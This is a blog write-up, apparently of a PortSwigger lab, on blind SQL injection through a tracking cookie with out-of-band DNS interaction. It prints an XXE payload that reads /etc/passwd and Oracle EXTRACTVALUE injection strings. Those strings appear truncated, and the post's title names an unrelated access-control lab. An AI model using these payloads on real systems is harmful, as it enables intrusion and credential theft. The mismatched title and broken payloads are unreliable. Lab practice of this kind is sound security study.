Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

User ID controlled by request parameter, with unpredictable user IDs

User ID controlled by request parameter, with unpredictable user IDs: This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics and performs an SQL query containing the value of the submitted cookie. • PortSwigger • Access-control • access-control, lab4

2023-05-063 tags
Tags

🎯 Objective

This lab contains a blind SQL injection vulnerability.
The application uses a tracking cookie for analytics and performs an SQL query containing the value of the submitted cookie.

  • The SQL query is executed asynchronously and has no effect on the application's response.
  • However, out-of-band (OOB) interactions with an external domain can be triggered.

Database context:

  • Table: users
  • Columns: username, password
  • Goal: Extract the password of the administrator user and log in.

📝 End Goals

  1. Exploit the blind SQL injection in the tracking cookie.
  2. Retrieve the password of the administrator user.
  3. Log in as administrator.

🔎 Analysis

Detour into XXE

At first, I explored XML External Entity (XXE) injection concepts to refresh understanding:

  • What is XXE?
    Vulnerability allowing attackers to inject external entities into XML parsers.
    Useful for reading files, SSRF, and privilege escalation.

  • Example Payload (file disclosure):

    xml
    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
    <stockCheck>
        <productId>&xxe;</productId>
    </stockCheck>
  • Server Response Example:

    text
    Invalid product ID: root:x:0:0:root:/root:/bin/bash ...

XXE Concept

This provided background but the vulnerability in the lab is SQLi, not XXE.


Step 1: Testing OOB with Burp Collaborator

Payload attempt with UNION and EXTRACTVALUE:

http
TrackingId=x' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual--

Burp Collaborator Attempt


Step 2: Ordering Tests

Confirmed behavior with ORDER BY checks to understand query structure:

Order By Test


Step 3: Alternative Payloads

Also tested concatenated payloads such as:

sql
'|| (SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual)--

This produced successful OOB interactions through DNS lookups, confirming vulnerability.


🎉 Result

  • Verified blind SQLi in tracking cookie.
  • Triggered OOB interactions with Burp Collaborator.
  • Path forward: extract administrator password via iterative OOB queries. ✅
Navigate

In this post

  1. 01🎯 Objective
  2. 02📝 End Goals
  3. 03🔎 Analysis
  4. 04Detour into XXE
  5. 05Step 1: Testing OOB with Burp Collaborator
  6. 06Step 2: Ordering Tests
  7. 07Step 3: Alternative Payloads
  8. 08🎉 Result
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.